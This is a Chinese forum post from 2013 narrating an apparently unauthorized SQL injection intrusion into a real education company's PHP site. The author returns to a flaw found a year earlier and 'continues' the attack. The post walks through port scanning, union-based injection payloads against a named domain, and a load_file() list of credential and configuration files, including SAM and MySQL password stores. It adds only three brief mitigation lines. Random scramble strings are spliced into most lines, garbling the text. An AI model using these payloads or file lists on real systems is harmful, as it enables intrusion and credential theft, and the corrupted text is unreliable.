找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2275|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
题记:: K' c8 r! x8 w8 O; x
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……4 G- L! ~# N9 r. u7 l
第一步:获取需要的信息
$ T$ {$ m" m1 j" d; }由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。" c$ Y- B7 L: Y9 X+ L( g
注:以下为保护特用XXX代替敏感信息! E8 u7 }7 I$ U
顺手先PING了一下他们的域名:& h8 Q0 n! I& @8 q
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
7 v% n% y8 D; a64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms) q" ?% x' z6 G  ]$ k
顺便了解一下TTL,学好基础知识才能一路顺风:
' d$ @) E$ t2 MTTL:(Time To Live ) 生存时间
( [" h/ Y; U4 }9 `8 ~- g1 C3 ~9 W指定数据包被路由器丢弃之前允许通过的网段数量。
: f! C, Q" [* U2 g' TTTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。! @5 s, a. y5 w5 A  G4 P/ {- r( d1 [
使用PING时涉及到的 ICMP 报文类型8 I& Y$ k' o% w) I" r) e7 ^
一个为ICMP请求回显(ICMP Echo Request)9 x2 N" v& R; ~% |0 y
一个为ICMP回显应答(ICMP Echo Reply)
& h; i1 a6 I+ sTTL 字段值可以帮助我们识别操作系统类型。( U! _8 w. t2 F# A2 n* G
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
" p$ k, Z6 M1 r' A" |Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
+ q$ h9 I% c8 q, f# n9 a/ A微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128: ]( v( ^. a' q5 Z1 K2 Z3 V4 _
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32% E& z' v4 b* r& d' q; ]4 D0 [; J
当然,返回的TTL值是相同的' D- T- Y0 p* [0 P9 T% i1 _
但有些情况下有所特殊
0 r- n6 d5 _. }. T2 q+ QLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64; S! d) q/ A" B- E
FreeBSD 4.1, 4.0, 3.4;* Y' o& {% Y! W/ `4 b9 v0 X
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
- N. `! c( c2 W5 GOpenBSD 2.6, 2.7,8 V5 _% I* c) a) [7 |2 ^
NetBSD- K* A" N( m) l6 ~4 C
HP UX 10.207 j+ I, m$ Q& Q# V2 A  [7 Y8 O
ICMP 回显应答的 TTL 字段值为 255
8 C" T$ y) U. E9 W3 S0 c" IWindows 95/98/98SE
6 S" Q% F: n5 ^Windows ME! t! `) J5 e4 K3 w/ ^
ICMP 回显应答的 TTL 字段值为 32) X( ~  k% W1 R2 _1 x
Windows NT4 WRKS
8 h( K1 d1 Z0 Q% X+ U) h2 q5 QWindows NT4 Server6 Y. u; m& {' l! r4 I8 G( H4 S
Windows 2000
* D" U* e2 v6 x9 H8 W* @7 LWindows XP
1 c3 _) r* m3 T/ c' T: E" QICMP 回显应答的 TTL 字段值为 128; o% T% Y5 @% ~1 j& m& K' ], e" K
这样,我们就可以通过这种方法来辨别操作系统
7 z0 U, W4 N! a7 t9 K# P, ]0 @, M) d2 \TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
& s5 L! e, n- Y) c) @用NMAP扫描一下:
& d# ^5 j1 c" jnmap -sT -O XXX.XXX.XXX.XXX
# g. c0 m" G. r( Z6 Y如果没有装WinPcap则会弹出提示:3 p: h4 Z# Y" b$ W* s9 z
WARNING: Could not import all necessary WinPcap functions.  You may need to upgr
5 I% i% ^! t4 y! g1 n7 Aade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(0 a! V. }  i& y7 f6 R6 d4 c
) mode — Nmap may not function completely
4 B5 \. l0 Y! B7 H: tTCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
6 ]  R/ d* V% A1 t" t/ i  J+ kand iphlpapi.dll be installed. You seem to be missing one or both of these.  Win
. X& X9 b, r# d% p; r; ^9 Apcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an
6 r. P5 D! L- N' Z2 F2 Ud later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v
+ m# X  N" Y# S* ~% Persions, you may be able to take iphlpapi.dll from another system and place it i
. u% L/ o! H1 |0 ]; ]n your system32 dir (e.g. c:\windows\system32).( D) o+ x7 [. b+ {/ r
QUITTING!) Q' N2 K9 J3 a, }0 l
到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe' Z2 ?  m' m4 \, {+ C- i" V
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:3 k  G' G7 m' D1 e
Interesting ports on XXX.XXX.XXX.XXX:
; r( `+ w2 [- q# WNot shown: 986 closed ports
, {. m. J: |" {# BPORT     STATE    SERVICE, m- t" k/ k! ?- Z2 L: C
21/tcp   open     ftp
3 P0 M9 ]* Z3 T/ U22/tcp   open     ssh  h% Z% j) h1 j6 P4 k
23/tcp   open     telnet% i7 H; s" T: B3 k* |" `+ q- i
80/tcp   open     http
4 l8 ?$ \& n% D$ [$ `111/tcp  open     rpcbind2 T8 U3 m3 ~, Q; k, {3 S. C( i  C
135/tcp  filtered msrpc! G/ |0 z' q9 m, g' D7 E4 Y( w5 C0 i
139/tcp  filtered netbios-ssn
" Y+ `  `. F" H1 n) G8 n- O445/tcp  filtered microsoft-ds
8 O% S0 \0 }6 b" q  h/ d5 F6 L8 P513/tcp  open     login
0 @$ l* j# a4 F+ I7 N. Y514/tcp  open     shell
. s4 |- ]1 E+ {" _: d7 e# J593/tcp  filtered http-rpc-epmap0 {6 b7 f' G) f- N1 o
1720/tcp filtered H.323/Q.931
4 i3 L% j1 h! C0 ~& z+ }1 d3306/tcp open     mysql
; L, e$ P2 a. u4 V1 b/ [4444/tcp filtered krb524; J. p3 @/ {0 O& q4 p
Device type: WAP
5 `# T9 E# |0 p1 [6 R" U" ERunning: Linux 2.4.X
$ G7 x. W, Z' {7 h: F0 G6 XOS details: DD-WRT (Linux 2.4.35s)
! `+ H7 T! |, U$ g8 I1 D7 i: y: @Network Distance: 13 hops
7 P* w9 K& K7 T! |2 o& B看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
4 |* ]6 L8 C/ C- slogin as:( `$ o' f9 v$ @/ k' R8 {' t
Telnet23端口也是开着的,用telnet 命令链接一下:6 k9 j" {5 D. D) g- o2 |7 n
telnet XXX.XXX.XXX.XXX
& e+ b2 P# ?, w- u0 T/ R' d提示:: L9 b- X& {0 K; Q) h3 f
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
( N/ w, m1 L  |; p# jKernel 2.6.18-92.el5PAE on an i686
1 `' H) j& ]9 K7 K! d% alogin:
  Y8 z+ q9 B7 a$ O获取HTTP头信息:1 i/ [. e3 a6 P% Q  r( t" c
在本地执行如下PHP代码
+ ~- m( o  q) n- S3 I. `. ^<?php
1 N, F9 @0 J( N! f! u$url = ‘XXX.XXX.XXX.XXX’;
$ ~2 f0 D  o% ^8 {* x9 ~8 e4 s6 X# dprint_r(get_headers($url));, v0 V2 l; ?: x& i2 c, z* K8 O
print_r(get_headers($url, 1));3 L+ r/ Y' [$ O: k
?>
7 d7 Z; `/ d% k. _) }- N% `8 s  U- q将以上代码保存为PHP文件,执行:
; ~  E8 @1 D1 i2 \# S* WArray ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
  f2 d6 A4 x3 }- ^" ?' K现在可以得出结论:; L# m4 ^- {4 s) @9 @
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
- s7 H- x( b! r% W7 Q1 z" D内核版本:Kernel 2.6.18-92.el5PAE on an i686
) H0 J6 B+ V5 R9 U4 nWEB服务器版本:nginx/0.7.61- @0 N7 b) @) F' E; D! f
第二步,开始测试寻找漏洞
8 p! n5 d7 F7 J# n9 _分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
' W* H0 ]2 _: X( f( w1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
, z. I2 A8 N) V+ n2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
) G" s* r: U" c  Bhttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常& a- t; r) {5 o) s: q  T6 S& w
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误  Q# Q' y4 \, q9 L3 t
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续2 ?1 \) Y& c6 L* H
3、手工注入:. v+ O7 l1 K8 q1 }. E9 H. S3 ^
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
5 h  h" |8 R9 B# e( Q  m0 f) \3.1 猜测当前表字段数
( W/ l7 a. l, N( @+ Chttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10$ v! j/ G! F4 h! P6 v7 |- i& X$ P
此处猜测有个简单的算法,都是有技巧的吗,呵呵
6 N' E# K/ d5 w. c算法简单如下:; b$ L7 |9 x$ c. _
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
- ~& m/ e6 K: S$ ?$ ^( ?2 d" S+ v第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
! d5 I( m* w7 b/ U# ]' W7 I1 [需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
, q( u# X, M' r% x( p7 b2 j. u/ {以此来判断,是否过界,配合取中算法猜出字段数。/ p* U8 i4 v8 o
举例:1 U: S9 Q+ u0 m
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
; l9 m9 k: T9 g+ }% z% Y" j& O+ \http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
) S" H! D' w0 m' }0 Z此时3则为我们要找的字段数。' |! l- H( ?7 M4 L& V* f
3.2 配合union联合查询字段在页面所位置0 m/ q, Y1 A2 `; X
我们已经知道了字段数为3,此时则可以做如下操作:
0 ~7 a. _: [1 I9 s. S1 }http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3) B8 e  s8 N2 ]: g
- u  k% v. _4 u2 i6 u% \
这样就可以测试到哪些字段在页面上有所显示了,如图:
& F. @2 U: P+ V6 @. L. M8 S/ ?* i* S7 m6 I
3.3 查敏感信息3 x: x  t, a: z: @
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
: W% d: f. S1 ]& |5 hhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
7 F; B. O4 t7 M# ], \" _3.3.1 先查数据库用户、数据库名,以备后用,如图:' Z( ]1 T. H, l: k. g+ x6 K" S( X
3 O: R# ]8 g) c2 c; H
得到数据库用户为root、数据库名为DBxx;
0 g# _. ?) ?0 n$ \2 K3.3.2 查配置文件
7 D, a9 K+ C0 h; v+ q查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
: H6 s7 z0 E9 n5 x8 w8 U查看文件有一定的条件限制:
+ c4 B: _+ q+ H( b/ \# j欲读取文件必须在服务器上
( N! W3 _  L1 t必须指定文件完整的路径3 h  g9 w3 H  y, O: I& ?
必须有权限读取并且文件必须完全可读
" ~* }0 H& s* C+ R( p9 w欲读取文件必须小于 max_allowed_packet
$ M) Y" p6 @* C2 tMYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
! E9 D: k1 b2 R* m常用的一些:% q. ]4 p" o7 j( \7 m  q
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件" c2 h- n8 I' h/ l" l! P
/usr/local/apache2/conf/httpd.conf. W8 o- j" v- Y: D4 W  N# K
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
- P- l, [7 P2 \' g/usr/local/app/php5/lib/php.ini //PHP相关设置* E3 q/ I% a: l! f  b4 p- N7 F
/etc/sysconfig/iptables //从中得到防火墙规则策略/ j' U* M, W8 y% i* u* i
/etc/httpd/conf/httpd.conf // apache配置文件. @* ^3 b& b. n
/etc/rsyncd.conf //同步程序配置文件
" V% ^, l0 u3 N3 j/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP./ I$ q! `) n( Y) m
/etc/my.cnf //mysql的配置文件$ B. w, W" V! D+ B4 }) w
/etc/redhat-release //系统版本
: [) ?) j/ Z( C) r% W0 p! ?# S: K/etc/issue
9 n8 L* S; @# Z3 V5 d( B- Z, t9 n/etc/issue.net
# Q. r  L" U0 ^c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码- L4 y3 }4 ~  U. {& p( z9 k2 U
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码% c+ |% [. w$ k! O( K) K) O1 L
c:\Program Files\Serv-U\ServUDaemon.ini
, Y; N( l! F; i8 X9 n# ac:\windows\my.ini //MYSQL配置文件: R2 R9 \8 n7 e1 D$ D
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
8 J3 K+ k$ r% O等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,7 ^5 D" P2 H7 n- l7 |
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
- c5 q/ q& Q; zc:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此- @8 e% b' E8 D( p+ b3 p% k9 Q, Y$ X9 T
c:\Program Files\RhinoSoft.com\ServUDaemon.exe1 H" t0 i: f$ Q
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件+ ]9 N# ]" ?. C% Z3 l' k. ]
//存储了pcAnywhere的登陆密码) y9 B( o5 A  s" e2 r% h
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
6 h0 K" X1 O$ B6 d, d5 ~这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。8 b0 ~& c, f3 y% K6 \
最后:防范措施
% H$ @" |0 \+ G* s! `" s4 j# W1、修复PHP注入漏洞;
4 l: z& C, @' X2 u1 V7 w2、Mysql使用普通权限的用户;9 `8 t3 g( Y/ v6 _' D: b( \
3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表